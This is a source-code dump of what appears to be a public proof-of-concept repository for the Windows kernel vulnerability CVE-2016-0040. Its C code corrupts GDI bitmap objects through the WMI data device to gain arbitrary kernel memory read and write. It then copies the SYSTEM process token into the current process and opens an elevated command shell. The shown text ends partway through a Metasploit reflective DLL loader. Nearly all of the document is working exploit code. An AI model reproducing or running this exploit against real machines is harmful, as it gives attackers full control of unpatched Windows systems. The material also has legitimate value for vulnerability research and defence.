├── Application ├── Application.c └── Application.vcxproj ├── Artifacts.zip ├── CVE-2016-0040.sln ├── Library ├── Library.c ├── Library.h └── Library.vcxproj ├── Metasploit ├── Metasploit.c ├── Metasploit.h ├── Metasploit.vcxproj ├── inject.exe ├── install.sh ├── module.rb └── uninstall.sh ├── README.md ├── Screenshot.png ├── Test.py └── requirements.txt /Application/Application.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | INT main() { 7 | 8 | if (TriggerExploit() == FALSE) { 9 | printf("[-] Exploitation Failed"); 10 | return -1; 11 | } 12 | 13 | printf("[+] Exploitation Completed\n"); 14 | 15 | system("cmd.exe"); 16 | 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /Application/Application.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 15 | 16 | 17 | 15.0 18 | {81D011C1-F734-44D1-BE48-B16D643C99A7} 19 | Win32Proj 20 | Application 21 | 10.0.15063.0 22 | 23 | 24 | 25 | Application 26 | true 27 | v141 28 | Unicode 29 | 30 | 31 | Application 32 | false 33 | v141 34 | true 35 | Unicode 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | false 51 | 52 | 53 | true 54 | 55 | 56 | 57 | Level3 58 | 59 | 60 | MaxSpeed 61 | true 62 | true 63 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 64 | $(SolutionDir);%(AdditionalIncludeDirectories) 65 | MultiThreaded 66 | 67 | 68 | Console 69 | true 70 | true 71 | $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) 72 | 73 | 74 | 75 | 76 | 77 | 78 | Level3 79 | Disabled 80 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 81 | $(SolutionDir);%(AdditionalIncludeDirectories) 82 | MultiThreadedDebug 83 | 84 | 85 | Console 86 | $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) 87 | 88 | 89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /Artifacts.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/de7ec7ed/CVE-2016-0040/957ea9e8f5c870a696f2f43ea6ee847e1e3fca6b/Artifacts.zip -------------------------------------------------------------------------------- /CVE-2016-0040.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Application", "Application\Application.vcxproj", "{81D011C1-F734-44D1-BE48-B16D643C99A7}" 7 | ProjectSection(ProjectDependencies) = postProject 8 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} 9 | EndProjectSection 10 | EndProject 11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Metasploit", "Metasploit\Metasploit.vcxproj", "{FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}" 12 | ProjectSection(ProjectDependencies) = postProject 13 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D} = {2B0E925B-9653-42D7-84EF-E47DD89DED3D} 14 | EndProjectSection 15 | EndProject 16 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Library", "Library\Library.vcxproj", "{2B0E925B-9653-42D7-84EF-E47DD89DED3D}" 17 | EndProject 18 | Global 19 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 20 | Debug|Any CPU = Debug|Any CPU 21 | Debug|x64 = Debug|x64 22 | Release|Any CPU = Release|Any CPU 23 | Release|x64 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 26 | {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|Any CPU.ActiveCfg = Debug|x64 27 | {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.ActiveCfg = Debug|x64 28 | {81D011C1-F734-44D1-BE48-B16D643C99A7}.Debug|x64.Build.0 = Debug|x64 29 | {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|Any CPU.ActiveCfg = Release|x64 30 | {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.ActiveCfg = Release|x64 31 | {81D011C1-F734-44D1-BE48-B16D643C99A7}.Release|x64.Build.0 = Release|x64 32 | {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|Any CPU.ActiveCfg = Debug|x64 33 | {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.ActiveCfg = Debug|x64 34 | {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Debug|x64.Build.0 = Debug|x64 35 | {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|Any CPU.ActiveCfg = Release|x64 36 | {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.ActiveCfg = Release|x64 37 | {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF}.Release|x64.Build.0 = Release|x64 38 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|Any CPU.ActiveCfg = Debug|x64 39 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.ActiveCfg = Debug|x64 40 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Debug|x64.Build.0 = Debug|x64 41 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|Any CPU.ActiveCfg = Release|x64 42 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.ActiveCfg = Release|x64 43 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D}.Release|x64.Build.0 = Release|x64 44 | EndGlobalSection 45 | GlobalSection(SolutionProperties) = preSolution 46 | HideSolutionNode = FALSE 47 | EndGlobalSection 48 | EndGlobal 49 | -------------------------------------------------------------------------------- /Library/Library.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "Library.h" 7 | 8 | PPEB GetCurrentPeb(VOID) { 9 | 10 | NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); 11 | PROCESS_BASIC_INFORMATION ProcessInformation; 12 | ULONG ReturnLength; 13 | HMODULE library; 14 | 15 | library = LoadLibrary("ntdll.dll"); 16 | 17 | if (library == NULL) { return NULL; } 18 | 19 | ZwQueryInformationProcess = (VOID *)GetProcAddress(library, "ZwQueryInformationProcess"); 20 | 21 | if (ZwQueryInformationProcess == NULL) { return NULL; } 22 | 23 | if (ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &ReturnLength) != 0) { 24 | return NULL; 25 | } 26 | 27 | return ProcessInformation.PebBaseAddress; 28 | } 29 | 30 | BOOLEAN SetupBitmapManagerAndWorker(HBITMAP *hManager, HBITMAP *hWorker) { 31 | 32 | BYTE bitmap[BITMAP_SIZE]; 33 | HBITMAP bitmaps[BITMAP_COUNT]; 34 | INT i; 35 | 36 | memset(bitmap, 'a', BITMAP_SIZE); 37 | 38 | for (i = 0; i < BITMAP_COUNT; i++) { 39 | bitmaps[i] = CreateBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, BITMAP_PLANES, BITMAP_BIT_COUNT, &bitmap); 40 | 41 | if (bitmaps[i] == NULL) { 42 | printf("[-] Unable To Create The Required Bitmaps\n"); 43 | return FALSE; 44 | } 45 | 46 | GetBitmapBits(bitmaps[i], BITMAP_SIZE, &bitmap); 47 | } 48 | 49 | *hManager = bitmaps[BITMAP_MANAGER_INDEX]; 50 | *hWorker = bitmaps[BITMAP_WORKER_INDEX]; 51 | 52 | return TRUE; 53 | } 54 | 55 | PVOID GetBitmapKernelAddress(PPEB peb, HBITMAP handle) { 56 | 57 | GDICELL64 *cells; 58 | WORD index; 59 | 60 | index = LOWORD(handle); 61 | 62 | cells = (GDICELL64 *)(peb->GdiSharedHandleTable); 63 | 64 | return cells[index].pKernelAddress; 65 | } 66 | 67 | BOOLEAN WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID dest, PVOID src, DWORD len) { 68 | 69 | if (SetBitmapBits(hManager, sizeof(PVOID), &dest) == 0) { 70 | printf("[-] Unable To Set Destination Address: 0x%p\n", dest); 71 | return FALSE; 72 | } 73 | 74 | return SetBitmapBits(hWorker, len, src) ? TRUE : FALSE; 75 | } 76 | 77 | LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) { 78 | 79 | if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) { 80 | printf("[-] Unable To Set Source Address: 0x%p\n", src); 81 | return FALSE; 82 | } 83 | 84 | return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE; 85 | } 86 | 87 | PVOID GetNtOsKrnl(VOID) { 88 | PVOID ImageBases[IMAGE_BASE_LIST_SIZE]; 89 | DWORD needed = 0; 90 | 91 | if (EnumDeviceDrivers((LPVOID *)&ImageBases, sizeof(ImageBases), &needed) == 0) { 92 | printf("[-] Unable To Enumerate Device Drivers: %d\n", needed); 93 | return NULL; 94 | } 95 | 96 | return ImageBases[IMAGE_BASE_KERNEL_INDEX]; 97 | } 98 | 99 | PVOID GetPsInitialSystemProcess(HBITMAP hManager, HBITMAP hWorker) { 100 | 101 | HMODULE loaded; 102 | PVOID address; 103 | PVOID runtime; 104 | 105 | loaded = LoadLibrary("ntoskrnl.exe"); 106 | 107 | if (loaded == NULL) { 108 | printf("[-] Unable To Load NtOsKrnl.exe\n"); 109 | return NULL; 110 | } 111 | 112 | address = GetProcAddress(loaded, "PsInitialSystemProcess"); 113 | 114 | if (address == NULL) { 115 | printf("[-] Unable To Get PsInitialSystemProcess\n"); 116 | return NULL; 117 | } 118 | 119 | FreeLibrary(loaded); 120 | 121 | runtime = GetNtOsKrnl(); 122 | 123 | if (runtime == NULL) { 124 | printf("[+] Unable To Get NtOsKrnl Runtime Address\n"); 125 | return NULL; 126 | } 127 | 128 | if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)address - (ULONG64)loaded + (ULONG64)runtime), &address, sizeof(PVOID)) == FALSE) { 129 | printf("[-] Unable To Read PsInitialSystemProcess Address\n"); 130 | return NULL; 131 | } 132 | 133 | return address; 134 | } 135 | 136 | PVOID GetPsGetCurrentProcess(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) { 137 | 138 | PVOID systemProcess; 139 | LIST_ENTRY ActiveProcessLinks; 140 | ULONG64 UniqueProcessId; 141 | PVOID currentProcess; 142 | 143 | systemProcess = GetPsInitialSystemProcess(hManager, hWorker); 144 | 145 | if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)) == FALSE) { 146 | printf("[-] Unable To Read Initial System Process ActiveProcessLinks\n"); 147 | return NULL; 148 | } 149 | 150 | do { 151 | currentProcess = (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64)); 152 | 153 | ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId), &UniqueProcessId, sizeof(ULONG64)); 154 | 155 | if (GetCurrentProcessId() == UniqueProcessId) { return currentProcess; } 156 | 157 | ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)); 158 | 159 | } while (currentProcess != (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64))); 160 | 161 | printf("[-] Unable To Locate The Current Process In The List\n"); 162 | 163 | return NULL; 164 | } 165 | 166 | BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWorker) { 167 | 168 | PVOID pageFrameNumbers[PAGE_FRAME_NUMBER_COUNT]; 169 | WMI_RECEIVE_NOTIFICATION notification; 170 | PVOID hManagerAddress, hWorkerAddress; 171 | BYTE ReturnBuffer[RETURN_BUFFER_SIZE]; 172 | DWORD ReturnSize; 173 | HANDLE hDriver; 174 | PVOID address; 175 | INT i; 176 | 177 | NTSTATUS NtMapUserPhysicalPages(PVOID BaseAddress, ULONG NumberOfPages, PVOID *PageFrameNumbers); 178 | 179 | 180 | if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) { 181 | printf("[-] Unable To Setup Manager And Worker Bitmaps\n"); 182 | return FALSE; 183 | } 184 | 185 | hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager); 186 | hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker); 187 | 188 | printf("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n"); 189 | 190 | for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)¬ification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; } 191 | 192 | notification.HandleCount = 0; 193 | notification.Action = WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD; 194 | notification.UserModeProcess = GetCurrentProcess(); 195 | 196 | for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; } 197 | 198 | printf("[%%] pPeb: 0x%p\n", pPeb); 199 | printf("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker); 200 | printf("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress); 201 | 202 | hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 203 | if (hDriver == INVALID_HANDLE_VALUE) { 204 | printf("[-] Unable To Open The WMIDataDevice\n"); 205 | return FALSE; 206 | } 207 | 208 | i = 0; 209 | do { 210 | Sleep(0); 211 | 212 | NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers); 213 | 214 | if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, ¬ification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) { 215 | printf("[-] Device IO Control Returned Failure\n"); 216 | return FALSE; 217 | } 218 | 219 | GetBitmapBits(*hManager, sizeof(PVOID), &address); 220 | } while ((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (++i < TRIGGER_VULNERABILITY_RETRIES)); 221 | 222 | 223 | if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) { 224 | printf("[-] Unable To Trigger The Vulnerability\n"); 225 | return FALSE; 226 | } 227 | 228 | printf("[+] Self-Referencing Pointer Placement Complete\n"); 229 | 230 | pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1); 231 | pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET); 232 | SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers); 233 | 234 | printf("[+] Stage 1 Cleanup Complete\n"); 235 | printf("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n"); 236 | 237 | pageFrameNumbers[0] = NULL; 238 | WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID)); 239 | 240 | printf("[+] Stage 2 Cleanup Complete\n"); 241 | 242 | return TRUE; 243 | } 244 | 245 | BOOLEAN TriggerPrivilegeEscalation(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) { 246 | 247 | PVOID systemProcess; 248 | PVOID currentProcess; 249 | PVOID systemToken; 250 | 251 | systemProcess = GetPsInitialSystemProcess(hManager, hWorker); 252 | 253 | if (systemProcess == NULL) { 254 | printf("[-] Unable To Get The System Process\n"); 255 | return FALSE; 256 | } 257 | 258 | currentProcess = GetPsGetCurrentProcess(hManager, hWorker, offsets); 259 | 260 | if (currentProcess == NULL) { 261 | printf("[-] Unable To Get The Current Process\n"); 262 | return FALSE; 263 | } 264 | 265 | printf("[%%] SystemProcess: 0x%p, CurrentProcess: 0x%p\n", systemProcess, currentProcess); 266 | 267 | if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) { 268 | printf("[-] Unable To Get The System Process Token\n"); 269 | return FALSE; 270 | } 271 | 272 | printf("[%%] SystemToken: 0x%p\n", systemToken); 273 | 274 | if (WriteMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) { 275 | printf("[-] Unable To Set The Current Process Token\n"); 276 | return FALSE; 277 | } 278 | 279 | printf("[+] System Process Token Stolen\n"); 280 | 281 | return TRUE; 282 | } 283 | 284 | BOOLEAN TriggerExploit(VOID) { 285 | 286 | PPEB pPeb; 287 | HBITMAP hManager, hWorker; 288 | EPROCESS_OFFSETS win7SP1Offsets = { 0x180, 0x208 }; 289 | 290 | printf("\n"); 291 | 292 | pPeb = GetCurrentPeb(); 293 | 294 | if (pPeb == NULL) { 295 | printf("[-] Unable To Get The Current PEB\n"); 296 | return FALSE; 297 | } 298 | 299 | if (TriggerVulnerability(pPeb, &hManager, &hWorker) == FALSE) { 300 | printf("[-] Unable To Trigger Vulnerability\n"); 301 | return FALSE; 302 | } 303 | 304 | printf("[+] Vulnerability Triggered\n"); 305 | 306 | printf("[+] Bitmap Read/Write Primitives Now Available\n"); 307 | 308 | if (TriggerPrivilegeEscalation(hManager, hWorker, &win7SP1Offsets) == FALSE) { 309 | printf("[-] Unable To Trigger Exploit\n"); 310 | return FALSE; 311 | } 312 | 313 | printf("[+] Privilege Escalation Triggered\n\n"); 314 | 315 | return TRUE; 316 | } 317 | -------------------------------------------------------------------------------- /Library/Library.h: -------------------------------------------------------------------------------- 1 | #ifndef __CVE_2016_0040_LIBRARY_H__ 2 | #define __CVE_2016_0040_LIBRARY_H__ 3 | 4 | #include 5 | #include 6 | 7 | #define BITS_PER_BYTE 8 8 | 9 | #define TRIGGER_VULNERABILITY_RETRIES 1024 10 | 11 | #define WMI_RECEIVE_NOTIFICATIONS_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS) 12 | 13 | #define WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD 2 14 | #define WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT 20 15 | 16 | #define BITMAP_SIZE (BITMAP_WIDTH * BITMAP_HEIGHT * (BITMAP_BIT_COUNT / BITS_PER_BYTE)) 17 | #define BITMAP_WIDTH 0x64 18 | #define BITMAP_HEIGHT 0x64 19 | #define BITMAP_PLANES 1 20 | #define BITMAP_BIT_COUNT 32 21 | 22 | #define BITMAP_COUNT 4096 23 | #define BITMAP_MANAGER_INDEX 2048 24 | #define BITMAP_WORKER_INDEX 3072 25 | 26 | #define IMAGE_BASE_LIST_SIZE 0x1000 27 | #define IMAGE_BASE_KERNEL_INDEX 0 28 | 29 | #define PAGE_FRAME_NUMBER_COUNT 1024 30 | 31 | #define BITMAP_STRUCTURE_CHECK_OFFSET 0x48 32 | #define BITMAP_STRUCTURE_PVSCAN0_OFFSET 0x50 33 | #define BITMAP_STRUCTURE_CORRUPTION_OFFSET 0x80 34 | #define BITMAP_STRUCTURE_CORRUPTION_VALUE_0 0x1000000000006 35 | #define BITMAP_STRUCTURE_CORRUPTION_VALUE_1 0x238 36 | 37 | #define RETURN_BUFFER_SIZE 1000 38 | 39 | typedef enum _PROCESSINFOCLASS { 40 | ProcessBasicInformation = 0 41 | } PROCESSINFOCLASS; 42 | 43 | typedef struct _PEB { 44 | BYTE unk[0xf8]; 45 | VOID *GdiSharedHandleTable; 46 | } PEB, *PPEB; 47 | 48 | typedef struct _PROCESS_BASIC_INFORMATION { 49 | PVOID Reserved1; 50 | PPEB PebBaseAddress; 51 | PVOID Reserved2[2]; 52 | ULONG_PTR UniqueProcessId; 53 | PVOID Reserved3; 54 | } PROCESS_BASIC_INFORMATION; 55 | 56 | typedef struct _WMI_RECEIVE_NOTIFICATION { 57 | ULONG HandleCount; 58 | ULONG Action; 59 | HANDLE UserModeCallback; 60 | HANDLE UserModeProcess; 61 | HANDLE Handles[WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT]; 62 | } WMI_RECEIVE_NOTIFICATION, *PWMI_RECEIVE_NOTIFICATION; 63 | 64 | #pragma pack(push, 1) 65 | typedef struct _GDICELL64 { 66 | PVOID pKernelAddress; 67 | USHORT wProcessId; 68 | USHORT wCount; 69 | USHORT wUpper; 70 | USHORT wType; 71 | PVOID pUserAddress; 72 | } GDICELL64; 73 | #pragma pack(pop) 74 | 75 | typedef struct EPROCESS_OFFSETS { 76 | DWORD UniqueProcessId; 77 | DWORD Token; 78 | } EPROCESS_OFFSETS, *PEPROCESS_OFFSETS; 79 | 80 | BOOLEAN TriggerExploit(VOID); 81 | 82 | #endif //__CVE_2016_0040_LIBRARY_H__ -------------------------------------------------------------------------------- /Library/Library.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 15.0 15 | {2B0E925B-9653-42D7-84EF-E47DD89DED3D} 16 | CVE20160040 17 | 10.0.15063.0 18 | Library 19 | 20 | 21 | 22 | StaticLibrary 23 | true 24 | v141 25 | MultiByte 26 | 27 | 28 | StaticLibrary 29 | false 30 | v141 31 | true 32 | MultiByte 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | $(ProjectName) 48 | 49 | 50 | $(ProjectName) 51 | 52 | 53 | 54 | Level3 55 | Disabled 56 | true 57 | MultiThreadedDebug 58 | 59 | 60 | ntdll.lib;%(AdditionalDependencies) 61 | 62 | 63 | 64 | 65 | Level3 66 | MaxSpeed 67 | true 68 | true 69 | true 70 | MultiThreaded 71 | 72 | 73 | true 74 | true 75 | ntdll.lib;%(AdditionalDependencies) 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /Metasploit/Metasploit.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "Metasploit.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while( TRUE ) 90 | { 91 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword( 0x60 ); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword( 0x30 ); 115 | #else WIN_ARM 116 | uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while( uiValueA ) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror( (DWORD)uiValueC ); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if( *((BYTE *)uiValueB) >= 'a' ) 140 | uiValueC += *((BYTE *)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE *)uiValueB); 143 | uiValueB++; 144 | } while( --usCounter 